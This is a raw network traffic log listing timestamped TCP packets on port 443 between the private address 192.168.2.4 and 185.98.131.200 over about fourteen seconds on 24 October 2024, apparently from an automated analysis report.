Oct 24, 2024 13:28:25.980833054 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:25.980833054 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:25.980854988 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:25.980905056 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:26.349251032 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:26.349282026 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:26.349340916 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:26.349395990 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:26.349456072 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:26.349509001 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:26.349531889 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:26.456532001 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:26.456597090 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:26.456680059 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:26.456717014 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:26.456757069 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:26.456778049 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:26.461522102 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:26.461569071 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:26.461611986 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:26.461626053 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:26.461663961 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:26.461683035 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:26.465673923 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:26.465724945 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:26.465765953 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:26.465779066 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:26.465822935 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:26.465841055 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:26.472193003 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:26.472239971 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:26.472284079 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:26.472296000 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:26.472326040 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:26.472345114 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:27.731396914 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:27.731430054 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:27.731493950 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:27.731642962 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:27.731709003 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:27.731784105 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:27.737989902 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:27.738043070 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:27.738090992 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:27.738114119 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:27.738141060 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:27.738166094 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:27.850317955 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:27.850394011 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:27.850429058 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:27.850445986 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:27.850471020 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:27.850483894 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:28.354048014 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:28.354084015 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:28.354135036 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:28.354144096 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:28.354180098 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:28.354198933 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:28.354198933 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:28.354206085 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:28.354219913 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:28.354238033 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:28.461718082 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:28.461786032 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:28.461839914 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:28.461905956 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:28.461941957 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:28.461966038 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:28.466717958 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:28.466769934 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:28.466800928 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:28.466836929 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:28.466869116 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:28.466869116 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:28.466895103 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:28.473659039 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:28.473710060 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:28.473748922 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:28.473767996 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:28.473793030 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:28.473814011 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:29.353830099 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:29.353863955 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:29.353913069 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:29.353971958 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:29.354041100 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:29.354078054 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:29.354099989 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:29.462426901 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:29.462492943 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:29.462640047 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:29.462668896 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:29.462726116 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:29.468858004 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:29.468920946 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:29.468943119 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:29.468961000 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:29.468996048 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:29.469014883 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:29.474720001 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:29.474767923 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:29.474812031 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:29.474829912 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:29.474854946 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:29.474874020 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:29.579229116 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:29.579298019 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:29.579355955 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:29.579433918 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:29.579480886 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:29.579480886 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:30.713706970 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:30.713723898 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:30.713771105 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:30.713790894 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:30.713859081 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:30.713897943 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:30.713920116 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:30.718826056 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:30.718862057 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:30.718898058 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:30.718919992 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:30.718945026 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:30.719080925 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:30.830780029 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:30.830815077 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:30.830832958 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:30.830847025 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:30.830861092 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:30.830894947 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:31.357713938 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:31.357729912 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:31.357783079 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:31.357820034 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:31.357896090 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:31.357949018 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:31.357949018 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:31.469867945 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:31.469897985 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:31.469989061 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:31.470010042 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:31.470026016 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:31.470046997 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:31.470727921 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:31.470752954 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:31.470788956 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:31.470796108 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:31.470810890 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:31.470833063 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:31.474651098 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:31.474675894 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:31.474749088 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:31.474755049 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:31.474781990 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:31.474807978 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:31.481123924 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:31.481142998 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:31.481189013 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:31.481195927 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:31.481220007 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:31.481235981 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:32.717864990 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:32.717875004 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:32.717911005 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:32.717947960 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:32.717986107 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:32.718000889 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:32.718028069 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:32.723130941 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:32.723150015 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:32.723206043 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:32.723213911 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:32.724689007 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:32.834857941 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:32.834878922 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:32.834956884 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:32.834984064 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:32.835282087 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:33.361239910 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:33.361252069 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:33.361289978 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:33.361346960 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:33.361418009 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:33.361453056 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:33.361475945 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:33.468689919 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:33.468710899 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:33.468899012 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:33.468899965 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:33.468934059 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:33.469238997 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:33.474791050 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:33.474809885 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:33.474859953 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:33.474869013 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:33.475028992 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:33.480351925 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:33.480370045 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:33.480411053 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:33.480417967 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:33.480432034 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:33.480452061 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:33.484613895 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:33.484630108 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:33.484684944 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:33.484692097 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:33.484746933 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:34.721924067 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:34.721935987 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:34.721978903 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:34.722033978 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:34.722090006 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:34.722121954 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:34.722141981 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:34.727169991 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:34.727188110 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:34.727250099 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:34.727267027 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:34.727329969 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:34.838939905 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:34.838958025 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:34.839230061 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:34.839257002 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:34.839333057 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:35.578927040 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:35.578938007 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:35.578993082 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:35.579166889 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:35.579231977 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:35.579282045 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:35.579303026 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:35.579309940 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:35.579359055 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:35.579396963 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:35.579396963 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:35.579466105 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:35.579631090 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:35.579646111 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:35.579720020 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:35.579734087 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:35.579781055 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:35.579781055 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:35.580260992 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:35.580277920 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:35.580349922 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:35.580363035 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:35.580410004 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:35.580737114 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:35.580753088 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:35.580813885 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:35.580826998 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:35.580883026 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:36.725405931 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:36.725419044 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:36.725462914 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:36.725507975 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:36.725545883 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:36.725564003 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:36.725596905 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:36.731003046 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:36.731020927 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:36.731084108 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:36.731101036 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:36.731148005 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:36.842793941 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:36.842813969 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:36.843252897 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:36.843285084 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:36.843719006 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:37.372242928 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:37.372257948 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:37.372303963 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:37.372375965 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:37.372441053 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:37.372478008 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:37.372503042 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:37.480818987 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:37.480840921 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:37.480894089 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:37.480943918 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:37.480988026 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:37.480988026 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:37.484930992 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:37.484949112 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:37.484987974 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:37.485007048 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:37.485028982 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:37.485045910 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:37.489157915 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:37.489173889 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:37.489243031 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:37.489258051 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:37.489306927 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:38.374845982 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:38.374857903 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:38.374906063 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:38.375108004 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:38.375108004 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:38.375174999 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:38.375232935 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:38.483278990 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:38.483300924 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:38.483402014 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:38.483460903 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:38.483609915 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:38.489615917 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:38.489638090 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:38.489694118 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:38.489708900 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:38.489758968 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:38.496073961 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:38.496093988 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:38.496151924 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:38.496165037 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:38.496212006 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:38.599613905 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:38.599633932 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:38.599829912 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:38.599857092 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:38.600008011 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:39.732564926 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:39.732577085 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:39.732616901 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:39.732693911 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:39.732764006 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:39.732799053 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:39.732820034 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:39.736773014 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:39.736790895 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:39.736841917 CEST	49731	443	192.168.2.4	185.98.131.200
Oct 24, 2024 13:28:39.736850023 CEST	443	49731	185.98.131.200	192.168.2.4
Oct 24, 2024 13:28:39.736887932 CEST	49731	443	192.168.2.4	185.98.131.200
